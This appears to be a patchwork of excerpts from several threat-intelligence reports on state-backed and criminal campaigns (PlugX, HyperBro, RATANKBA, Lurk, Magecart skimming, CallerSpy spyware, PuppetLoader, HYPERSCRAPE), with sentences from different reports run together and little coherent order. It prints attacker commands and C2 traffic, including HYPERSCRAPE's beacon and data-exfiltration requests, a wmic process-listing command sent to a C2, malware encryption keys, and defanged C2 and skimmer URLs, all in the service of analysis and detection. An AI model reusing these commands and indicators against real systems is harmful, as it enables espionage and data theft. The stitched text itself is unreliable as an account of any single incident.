The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.


As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.


Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.


In one example, attackers impersonated McAfee.


The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.


This targeting is consistent with what others have subsequently reported.


Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.


As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.


In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.


In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.


While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.


For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.


Through the Apex One with Endpoint Sensor (iES), we discovered one such incident wherein an attacker utilized sophisticated techniques in an attempt to exfiltrate sensitive information from a company.


Technical analysis Detection


We noticed the execution of schtasks.exe with the command line parameter “schtasks /create /tn <name> c:\programdata\<software name>\<file name>.bat /sc /once /st <time> /ru <user account>”.


The scheduled task was not created for persistence.


The batch file that was to be executed had a suspicious name that stood out.


This prompted us to dig deeper.


Evasion


The image file of the process residing in the Windows directory that triggered the schtasks command was marked as normal.


PlugX and  malicious BLOBs


Reversing the file revealed that it was the PlugX loader, a remote access tool (RAT) that has been historically used in attacks targeting government-related industries and organizations.


Figure 1.


The relationship between the normal file used, the PlugX, and the malicious BLOB      Despite being around for quite some time, PlugX is still effective at evading detection.


Detection support for the BLOB is probably low.


Aside from this, changing the encryption mechanism or packer would result in a totally different BLOB.


It should be noted that we have also observed an increase use of BLOB files since 2020.


A closer look at PlugX svchost injection


This variant of PlugX (detected by Trend Micro as Backdoor.Win32.PLUGX.DYSGUT), including the code in the BLOB, launches an svchost.exe process and injects to it.


Usually, svchost is launched by services.exe, so the action done by PlugX could be used as a trigger for investigation.


Svchost injection is not new — in fact, Trickbot and other malware variants use this technique.


The difference between Trickbot and PlugX is that Trickbot is much easier to detect.


Trickbot’s binary, which is not whitelisted, does the injection; in PlugX’s case, a normal process that is possibly whitelisted, does the injection.


Our investigation shows that the attacker used other tools during the attack.


The tools used varied from network scanners to account harvesters.


Figure 2.


To avoid this, the attacker chose a different approach.


For every tool that needs to be run, it creates three things:   The auxiliary tool file <filename>.bat file Cmd.exe with a schtasks.exe command to create a scheduled task to run the batch file above  Instead of directly launching the auxiliary tool, it makes use of a scheduled task that runs the batch file that, in turn, executes the tool.


The attacker’s usage of a tool can be divided into two separate events: the dropping of the tool by the svchost.exe process that runs the malicious code and the execution of the tool via the scheduled task.


If the creation of the tool, batch file, and scheduled task is disregarded, it would seem that there is no connection between PlugX and the execution of the auxiliary tool.


However, a deeper investigation proved otherwise.


Figure 4.


Launching the auxiliary tool via the scheduled task     Scheduled tasks are usually associated with persistence or privilege escalation, which is not the case in this incident.


Having the scheduled task run only once removes the notion of persistence.


Meanwhile, having the same user account launch the PlugX process and the auxiliary tool shows that the scheduled task is not for privilege escalation.


However, the attacker was able to delete it before we were able to get our hands on the tools used for investigation purposes.


An analysis of these tools could be used to better understand what is happening or what has happened in the environment.


Whenever a tool is used, the attacker deletes it from the disk as soon as it has done its purpose – which usually does not last for more than 15 minutes.


Based on our investigation of this specific attack, we provide helpful tips for enterprises and organizations to spot PlugX and lateral movement in their environments.


Threat hunters can use this to possibly identify other machines that have PlugX installed: Using attributes that could identify the normal file, such as the hash and the digital signer, a sweeping task could be carried out to identify instances of the normal file.


Chances are, the normal file that loads the rest of PlugX uses a file name that is different from what it normally uses or is in a location where it is not usually found.


For example, Microsoft’s outlook.exe is usually found in the Program Files directory.


Finding such entries that stand out could help identify how wide the infection is.


How to spot lateral movement


In this particular attack, we observed that to perform lateral movement, the attacker mapped Windows admin shares and used remotely created scheduled tasks to launch malware.


Both events never or rarely happened in the victim’s environment.


The importance of looking into anomalous events


When identifying PlugX and lateral movement techniques utilized in attacks, it’s important to be able to determine anomalous events.


Keeping an eye on anomalous events could help detect incidents earlier.


Trend Micro Solutions Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.


One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.


HyperBro is a malware family used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS).


Further investigation showed that MiMi chat installers have been compromised to download and install HyperBro samples for the Windows platform and rshell samples for the Mac OS platform.


Infection vector MiMi (mimi = 秘密  = secret in Chinese) is an instant messaging application designed especially for Chinese users, with implementations for major desktop and mobile operating systems: Windows, macOS, Android, and iOS.


We already came across an abuse of this application during the Earth Berberoka investigation.


Also, we could not find anything malicious in the latest Windows installer.


In this case, we can see that it took an hour and a half for the attackers to modify the legitimate installer and add malicious code to it.


For older versions, it took the attackers one day to inject its modifications.


Once deobfuscated, we saw that the inserted code downloads rshell from the IP address 139[.]180[.]216[.]65 and executes it once run on the macOS platform.


After looking at previous versions of this installer, we found that the first compromised version was 2.3.0, built on May 26, 2022, while the previous version (2.2.10, published on May 6, 2022) was clean.


Figure 4. Malicious Javascript code inserted into 2.2.0.exe targeting Windows OS      Figure 5.


Malware analysis rshell


The OS information collection routine gathers the following information:  GUID: (randomly generated guid, stored in /tmp/guid) computer name: uname (nodename)


Explanation


Cmd Init Start new shell Cmd close


Kill shell Cmd data


, another warning message about an unverified developer is displayed.


Figure 7. Unverified developer warning with the “Open” button noticeably missing


Afterward, one more warning about the unverified developer is displayed.


Unverified developer warning with the “Open” button enabled


HyperBro


The HyperBro malware family has been around since 2017 and has been extensively analyzed.


It was updated in mid-2019, which we described in detail in our Operation DRBControl paper.


The said company was formerly known as Kingsoft Internet Software Holdings Limited, wherein during our previous investigation on the group, we already found one HyperBro DLL signed by a certificate belonging to Kingsoft.


Targets


We found 13 different targets while following our sensors‘ data.


Interestingly, we found a sample from the Reptile rootkit framework in that same company, as well as network requests to a subdomain that belongs to Earth Berberoka’s infrastructure.


Threat actor modified version 2.2.0 of Windows MiMi chat installer to download and execute HyperBro backdoor May 2021:


First, the dlpprem32.dll file linked to HyperBro shares certain characteristics (specifically imphash, RICH header) with previous samples already attributed to the group.


Also, the file names involved in the decoding and loading of HyperBro are similar to those we witnessed during our investigation last year.


Second, one of the Linux rshell samples used the IP address 45[.]142[.]214[.]193 as its C&C.


In 2020, that IP address had a particular reverse DNS: nbaya0u2[.]example[.]com.


During our Operation DRBControl investigation, we found a HyperBro sample that had 138[.]124[.]180[.]108 as its C&C. This second IP address had nbaya0u1[.]example[.]com as its reverse DNS.


However, as the rshell sample was found in 2021, we initially did not find this correlation strong enough to attribute the rshellmalware family to Iron Tiger.


We also found some links to Earth Berberoka.


From one of the victims where we found an rshell sample, we also found a binary belonging to the Reptile rootkit framework, a rootkit identified as part of the arsenal of Earth Berberoka.


We also noticed network communications from this victim to a subdomain of Earth Berberoka, suggesting it could have been previously compromised by this threat actor.


One of the rshell samples had center[.]veryssl[.]org as the C&C.


Both findings suggest that those victims could be compromised by both threat actors, or that Earth Berberoka is actually a subgroup of Iron Tiger.


As a reminder, while investigating Earth Berberoka, we found multiple links to Iron Tiger that we detailed in our research.


Indicators of Compromise (IOCs)


Updated the detection names on January 25, 2018, 9:47 PM PDT


The malware known as RATANKBA is just one of the weapons in Lazarus’ arsenal.


We analyzed a new RATANKBA variant (BKDR_RATANKBA.ZAEL-A), discovered in June 2017, that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified.


We identified a number of servers Lazarus used as a backend system for temporarily holding stolen data.


They could have also been performing exercises in preparation for an attack against similar targets.


Lazarus’ backend logs also record victim IP addresses.


Infection Flow  Figure 1.


RATANKBA Infection Flow RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders.


These documents contain topics discussing either software development or digital currencies.


An example of a lure used in a RATANKBA attack can be seen below:  Figure 2. Malicious CHM file used as RATANKBA lure


This RATANKBA backdoor is what is used to communicate with RATANKBA’s Command-and-Control (C&C) server.


Killkill: Stops the backdoor’s activities interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds cmd: Executes shell commands exe:Reflectively injects a DLL downloaded from a specific URL


In addition to the backdoor’s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system’s running processes, which are sent to the C&C server:  “C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr SysWOW” “C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr x86”    Technical Analysis


During our analysis, we collected a copy of the RATANKBA malware’s Lazarus Remote Controller tool.


Figure 3. RATANKBA communication diagram


The controller downloads the victim profiles from the server.


Below are the various functionalities of RATANKBA’s controller:


Deletes the downloaded victim profiles delete_con Deletes the connection log files if they were already downloaded


Kill: Posts a job to kill the backdoor inject Posts a job for DLL injection Interval Changes the sleep interval Cmd


RATANKBA main console interface


Figure 5.


RATANKBA host manipulation console RATANKBA’s controllers use the “Nimo Software HTTP Retriever 1.0” user-agent string for its communication.


The shift from PE to Powershell makes it more difficult for antivirus solutions to detect.


The screenshot below shows the conversion from C/C++ code to Powershell, while the protocol remained unchanged.


Figure 6. C/C++ version of RATANKBA  Figure 7. Powershell version of RATANKBA Profile of the Attackers


While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members.


Figure 8. Empty cryptocurrency wallet of the attacker  Figure 9.


An attacker mining Ant Share Defending against RATANKBA


Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities.


A detailed timeline of the Lazarus group's operations can be seen here.


Indicators of Compromise (IoCs): Hashes detected as BKDR_RATANKBA.ZAEL-A  1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471  f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b      Hashes detected as CHM_DLOADER.ZCEL-A  01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48    Hashes detected as JS_DLOADER.ZBEL-A   8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3    Hashes detected as X97M_DLOADR.ZBEL-A   972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee    Hashes detected as VBS_DLOADR.ZAEL-A   4722138dda262a2dca5cbf9acd40f150759c006f56b7637769282dba54de0cab           Tags  Malware | APT & Targeted Attacks | Endpoints | Cyber Crime | Research | Network


A typical Lurk infection uses browser exploits to deliver non-persistent payloads to potential victims, probing their targets before deploying additional malware.


Nine more suspected members of the group were arrested by Russia's Ministry of Internal Affairs on February 8.


How did Lurk evolve from a clique of threat actors to a full-fledged cybercriminal group?


What other techniques were they known for—that other cybercriminals emulated?


Lurk’s web-based attacks were the first signs of their campaigns.


The group already implemented certain mechanisms to prevent AV detection.


Requests during a time period or from a source IP address that didn’t match their preferred distribution area, for instance, would yield a redirect to a third-party site such as Google.


Lurk compromised systems by exploiting web browser vulnerabilities via drive-by download attacks.


Malvertising and poisoning of content-serving application components, such as memcached cache poisoning, were also part of their traffic redirection methods.


Stealth was already a fixture in their operations.


During this time we developed URL-based signatures and used them to detect Lurk-related network traffic.


The signature pattern ^[A-Z0-9]{4}$ was particularly effective in detecting URL patterns employed by Lurk from 2011 to 2013.


Mid-2012 to mid-2014: Honing the Craft Lurk was most prolific during this period, with its series of URL redirection campaigns in Russia becoming more extensive.


Lurk also targeted programmatic advertising infrastructures to increase the scale of their operations.


When 2014 rolled in, Lurk started exhibiting some patterns similar with the Angler exploit kit.


Figure 1. Exploit loading sequence in ria[.]ru (February 2012) Figure 2. [bg].ru (February 2012) found redirecting victims to Lurk’s exploit kit Figure 3. Redirects to the Lurk landing page from adfox[.]ru banner network Figure 4. Malicious iframe content served by tks[.]ru (August 2013)


Lurk’s transition from simple web-browser-exploiting crooks to organized cybercriminals also stood out.


Serving criteria were often modified, malicious payloads were often updated.


While Lurk only exploited a certain set of browser vulnerabilities, the exploit code also often changed.


The initial bodiless payload was designed to be triggered by the exploit kit shellcode, which performed routine checks in the infected machine.


Acquiring additional modules of the group’s malware, for instance, was nearly impractical if the exploit URLs were loaded in a sandboxed environment.


Malicious content were also often distributed during lunchtime (Moscow’s timezone), and in very short intervals.


Lurk’s infrastructure also exhibited new capabilities.


The mechanisms of redirections were different for each intermediate victim.


vesti[.]ru utro[.]ua


womanhit[.]ru   Figure 5.


Lurk’s intermediate targets by year 2014 to 2016:


Going Global 2014 was a significant year in Lurk’s history.


Why not go global to turn in more profit?


By the second half of the year, Lurk’s geographical distribution drastically changed.


Lurk then launched a new URL pattern that served payloads round-the-clock, eschewing pre-filtering of IP address locations in favor of targeting global IP addresses.


It was delivered only if the victim’s source IP address (and time) met Lurk’s parameters—otherwise users received a 404 error response.


2016: Lurk’s Downfall Lurk’s active compromise of financial institutions led to a series of enquiries that culminated in the arrest of over 50 individuals involved in its operations across Russia.


The ripple effect led other cybercriminal groups to lie low for the rest of the year.


By then, Angler’s activities already ceased.


Coincidence?


Unfortunately, Lurk is just one of the many cybercriminal groups looking to profit from organizations and end users.


Best Practices Lurk’s story demonstrates the aptitude of cybercriminals for honing in on specific victims and profiting from them.


This should be especially enforced for HTTP and HTTPS protocols that cybercriminals frequently leverage for their attacks.


Updated as of February 6, 2017, 10:05 PM (UTC-7): We updated to include observed systems from other countries that connected to IP addresses operated by Lurk.


Updated as of February 9, 2017, 1:44 AM (UTC-7): We updated to include the latest news about the arrests of suspected members of the group.        Tags  APT & Targeted Attacks | Malware | Endpoints | Research


According to a report by Bloomberg, JBS USA had shutdowns at its nine beef plants on Tuesday, May 31.


The company's meatpacking facilities across the US have also experienced some level of disruptions to operations, said an official with the United Food and Commercial Workers International Union.


The JBS cyber attack comes just three weeks after Colonial Pipeline, the US's largest pipeline system, was targeted in a ransomware attack.


Earlier in May, Ireland's Health Service Executive (HSE) was also hit by a ransomware attack, which continues to result in major issues.


Twenty days later, HSE continues to face IT system difficulties, causing delays in some of its services.


Executives and decision-makers must understand that cybersecurity is not just an IT issue but a major element that affects the entire organization and its operations.


What happened?


The attacks have been traced back to January 6, 2021, when a new threat group subsequently labelled “Hafnium” by Microsoft began exploiting four zero-day bugs in Microsoft Exchange Server.


This could include deploying ransomware to victim organizations.


CISA ordered government agencies to patch now or disconnect their on-premises Exchange servers.


There is also a possible connection to the Chopper ASPX web shell research we published back in January 2021.


Am I impacted?


Whatever the source, former CISA boss Chris Krebs warns that SMBs, education sector organizations, and state and local governments may be disproportionately affected as these often have fewer resources to spend on security.


What happens next?


Do not re


image any machines until after a forensic scan has been done to ensure you’ve preserved any IoCs.


This year’s evaluation saw vendors detect and respond to tactics, techniques, and procedures (TTPs) from two emulated adversary scenarios that are broadly defining modern ransomware today — Wizard Spider, a cybercriminal extortion gang, and Sandworm, a disruptive threat group focused on data destruction.


Critical evaluation categories include:  Analytic Coverage: Enriched detections to deliver greater context to investigation by adding ATT&CK TTP mapping, improving triage for analysts.


It tested against simulated breaches that included 109 total attack steps.


Detection: Delivered on 19/19 attack steps in the evaluation, for 100% detection.


The increase in efficiency simplifies investigations, optimizes SecOps productivity, and accelerates remediation to stop threat actors in their tracks before they have a chance to cause lasting damage.


We uncovered a recent activity involving the notorious online credit card skimming attack known as Magecart.


The attacker injected their skimming script into the shared JavaScript libraries used by online stores on the PrismWeb platform.


The amount of payment information that was stolen is still unknown.


We disclosed our findings to PrismRBS.


Figure 1. Mirrorthief attack chain  Figure 2.


On April 14, the attackers injected a script to the payment checkout libraries used by the PrismWeb platform.


The location of injected payment checkout libraries on affected online stores were:  hxxps://[online store domain]/innerweb/v4.0/include/js/checkout_payment[.]js hxxps://[online store domain]/innerweb/v3.1/include/js/checkout_payment[.]js  The injected script forged the Google Analytics script format, but loaded a different script from the attackers’ server.


The loaded script is the main script that steals the payment information.


Unlike many web skimmers, which are designed to collect information from many kinds of e-commerce payment pages in general, the skimmer that the Mirrorthief group used was designed specifically for PrismWeb’s payment page.


HTML Element ID Mirrorthief JSON Data Schema Information _cc_number aa


Credit card number _cc_expmonth bb Credit card expiration month _cc_expyear cc Credit card expiration year cc_type dd


Credit card CVN number cc_first_name ff First name of cardholder cc_last_name gg Last name of cardholder bill_to_phone hh Phone number for billing bill_to_country ii


Billing address (city) bill_to_zip nn


Billing address (zip code)   Table 1.


Comparing Magecart-wielding groups The Mirrorthief group made the injected script on the compromised libraries similar to legitimate Google Analytics script and registered their malicious domain (which also appears similar to the original Google Analytics domain) to disguise their activity.


Impersonating the Google Analytics service is a known tactic also used by Magecart Group 11, the group behind the Vision Direct breach.


When we checked Mirrorthief’s network infrastructure, we found that it did not have any overlap with any known cybercrime groups.


In addition, the skimmer Mirrorthief used in the attack is very different from the others since it’s specially designed to skim PrismWeb’s payment form.


Below is a table for comparison.


Group Encryption Algorithm JavaScript Library Magecart Group 11 AES Gibberish-AES ReactGet RSA JSEncrypt Mirrorthief AES Crypto-JS   Table 2. Comparison of encryption algorithms used by the different groups


Figure 5. Magecart Group 11 injection pattern  Figure 6.


ReactGet Group injection pattern  Figure 7.


Mirrorthief Group injection pattern


IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.


The following Trend Micro solutions, powered by XGen™ security, protect users and businesses by blocking the scripts and preventing access to the malicious domains:  Trend Micro™ Security Smart Protection Suites and Worry-Free™ Business Security Trend Micro Network Defense Hybrid Cloud Security  Indicators of Compromise (IoCs)  Indicator Attribution 30c8be0d9deb59d98f7e047579763559f2c2dd9a7b4477636afcbebaaebc7dc5 Mirrorthief skimming script hash (detected as Trojan.JS.MIRRORTHEIF.AA) cloudmetric-analytics[.]com Mirrorthief malicious domain hxxps://cloudmetric-analytics[.]com/ga[.]js


Mirrorthief


malicious URL hxxps://cloudmetric-analytics[.]com/analytics[.]js Mirrorthief malicious URL hxxps://cloudmetric-analytics[.]com/analytic[.]php?ccm_post= Mirrorthief malicious URL hxxps://g-analytics[.]com/libs/analytics[.]js Magecart Group 11 malicious URL hxxps://ebitbr[.]com/api[.]js ReactGet Group malicious URL


We found a new spyware family disguised as chat apps on a phishing website.


We first came across the threat in May on the site http://gooogle[.]press/, which was advertising a chat app called “Chatrious.”


The website became inactive for months after that encounter in May.


Trend Micro detects both of the threats as AndroidOS_CallerSpy.HRX.


Figure 1.


Figure 2.


It also receives commands from the C&C server to take screenshots, which it later sends to the server.


Figure 3.


Scheduled jobs  Source Command alive_latest_files_watcher Starts latest_files_watcher job and keeps it alive enviorment_schedulers


Configures


environment record module keep_enviorment_scehdular_alive


Records environment remote_sync


Figure 4.


Privacy database


The screenshot gets captured when a command is received from the C&C server.


Figure 5.


Infrastructure analysis


The domain gooogle[.]press masquerades as Google to trick users into downloading the app.


Figure 6. Fake copyright info


Whois Lookup reveals that this domain was registered on February 11, 2019 at Namecheap.


However, we found that all the registrant data was untraceable.


Figure 7. gooogle[.]press registration info


We did catch four C&C IP addresses, all hosted on a legitimate service.


Figure 8.


VirusTotal scan result


We also conclude that this is the initial phase of an attack based on the following reasons:  CallerSpy, as it is now, could prove uneven for a targeted attack.


We also found some debug code left in CallerSpy.


Figure 9.


Figure 10.


Figure 11.


Indicators of Compromise (IoCs)  SHA-256 Package name Label 0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e com.sas.gplayservices.accesibility GSERVICES 38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd com.sas.gservices.accesibility GSERVICES 3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8 com.example.rat rat 7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b com.pdf.searcher.dd Pdf Searcher 8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1 com.pdfd.researcher.resaq_ver1 Caller c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff com.sas.gservices.accesibility GSERVICES   C&C servers  3.95.71.123:3000  18.206.105.66:3000  40.114.109.69:3000  52.21.5.241:2000  Phishing domain  http://gooogle[.]press/    MITRE ATT&CK Techniques  Tactic Technique ID Description Initial Access Masquerade as Legitimate Application T1444 Used to masquerade as a legitimate chat app Persistence Abuse Device Administrator Access to Prevent Removal T1401


Used to request device administrator privilege Persistence


Used to listen for the BOOT_COMPLETED broadcast Defense Evasion Suppress Application Icon T1508


Used to suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed Discovery File and Directory Discovery T1420


Used to enumerate external storage file system Discovery Location Tracking T1430 Used to track device’s location Collection Access Call Log T1433 Used to gather call log data Collection Access Contact List T1432 Used to gather contact list data


Collection Capture Audio T1429 Used to record audio information Collection Capture SMS Messages T1412 Used to collect SMS messages


Collection Data from Local System T1533 Used to collect files from the device, including documents, photos, and  media files


Collection Location Tracking T1430 Used to track device’s location


Collection Screen Capture T1513 Used to take screenshot on the device Exfiltration Standard Application Layer Protocol T1437 Used Standard HTTP Protocol Command and Control Uncommonly Used Port T1509 Used uncommon ports 2000, 3000


Mobile | Phishing


We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).


Based on our analysis, this group targets gambling websites.


Our investigation has also uncovered that Earth Berberoka targets the Windows, Linux, and macOS platforms, and uses malware families that have been historically attributed to Chinese-speaking individuals.


This malware lineup includes tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, and a brand-new multistage malware family that we have dubbed PuppetLoader.


We discuss the full technical details of Earth Berberoka’s malware families aimed at Linux and macOS as well as Windows, infection vectors, targets, and possible connections with other APT groups in our research paper “Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites.” Technical analysis


PuppetLoader


We discovered a new malware family that we have dubbed PuppetLoader.


In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.


However, the cipher’s “swap” operation in the pseudorandom generation part of the cipher code was improperly implemented.


It seems that this hard-coded key and flawed RC4 implementation were also used in a malware family named TigerPlug, probably because it spreads the PlugX malware.


Hijacking loaded module


After the payload is decrypted, it is loaded in the machine’s memory and is executed using a stealthy method: PuppetLoader starts by loading a legitimate DLL from the Windows\System32 directory.


This is done by hooking NTDLL APIs such as NtQueryAttributesFile, NtOpenFile, NtCreateSection, NtMapViewOfSection, NtQuerySection and ZwClose.


Figure 1.


For its command-line parameters, PuppetLoader uses the same flawed RC4 implementation using the password “whk0q9ogev6ofg8d”.


These hijacking steps result in the following:


Figure 2. asycfilt.dll shown among loaded module names      lz32.dll is opened based on process monitoring tools.       Figure 3. lz32.dll shown among opened files      Only PuppetLoader’s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.


Stage 2: Dropper


Table 1.


We believe that it serves as a marker that stage 2 has been completed.


It is interesting to note that there is a typographical error in “-InokeMethodParam.”


Stage 3: BasicLoader


Stage 5: Client.MainConsole


This is the main client binary written in C++, which is the last stage of PuppetLoader’s infection chain.


RemoteModuleCommandPacket


Uploaded file content FileManage_FolderContent_Packet Folder content VecProcessPacket Vector object with running processes InstallModulePacket BMP with encrypted module to be installed


Table 2.


The custom UDP packets recognized by the client


Install module Login callback Enumerate RDP sessions


oRAT


Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.


The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file.


We discuss the full details of both in our research paper.


Figure 6.


The decrypted oRAT configuration     The configuration is decrypted using the AES-GCM (AES with Galois/Counter Mode) algorithm.


The control server is implemented by registering routes.


Requesting a URL therefore results in executing the corresponding code on an infected system.


We obtained oRAT samples that register these routes:   GET /agent/info GET /agent/ping POST /agent/upload GET /agent/download GET /agent/screenshot GET /agent/zip GET /agent/unzip GET /agent/kill-self GET /agent/portscan GET /agent/proxy GET /agent/ssh GET /agent/net  PuppetDownloaders (C++ downloaders)


During our investigation, we also saw malicious websites that distribute fake Adobe Flash Player updates that were actually delivering C++ downloaders.


The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.


If the SMTemp.dat file exists, the Loader.dll file executes it.


During our investigation, we noted that the server hosting the second stage of the PuppetDownloaders malware payload was offline.


Figure 7.  XOR decryption routine


We dubbed these downloaders PuppetDownloaders since they are connected to the PuppetLoader malware family, as evidenced by our observations:  This malware and PuppetLoader both use the same string decryption routine that uses the same key.


This malware and PuppetLoader both use the same XOR key (2726c6aea9970bb95211304705b5f595) that is used to decrypt the embedded Loader.dll file.


This malware and PuppetLoader’s decrypted Loader.dlls share similar strings such as “[-] UnExist pwszModuleFunName:”.


This suggests that a common framework was used to compile both DLLs.


MFC socket downloaders


We also saw WinRAR self-extracting (SFX) files dropping downloaders written using the Microsoft Foundation Class Library (MFC) framework.


However, it is possible that multiple groups might be covertly sharing the source code for this malware.


This malware family sends a DWORD, a 32-bit unsigned integer, in the HELLO packet.


Gh0st RAT


We also saw at least three different variants of Gh0st RAT, another malware family that has been in the wild for more than 10 years, being used in Earth Berberoka’s campaign.


This malware family’s source code is public, which is why it has many variants.


One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (“I am virus ! F*ck you :-)”).


A 2017 Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) report also discussed how Gh0st RAT variants wiped the MBR and replaced it with messages that varied across different samples.


Other Known Malware Families


We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:  Quasar RAT – a Windows-based open-source RAT that has been used by APT groups for network exploitation


AsyncRAT – an open-source RAT that can be used to remotely monitor and control devices via an encrypted connection Trochilus – a stealthy RAT that can evade sandbox analysis and can be used in cyberespionage campaigns  Security recommendations


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Accept-Encoding: gzip Connection: Keep-Alive


A new form is displayed if the information is not provided via command prompt.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


A log file is written containing a count of the emails that were downloaded.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


public void ManageTakeOut() { string text = "PipeName";


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


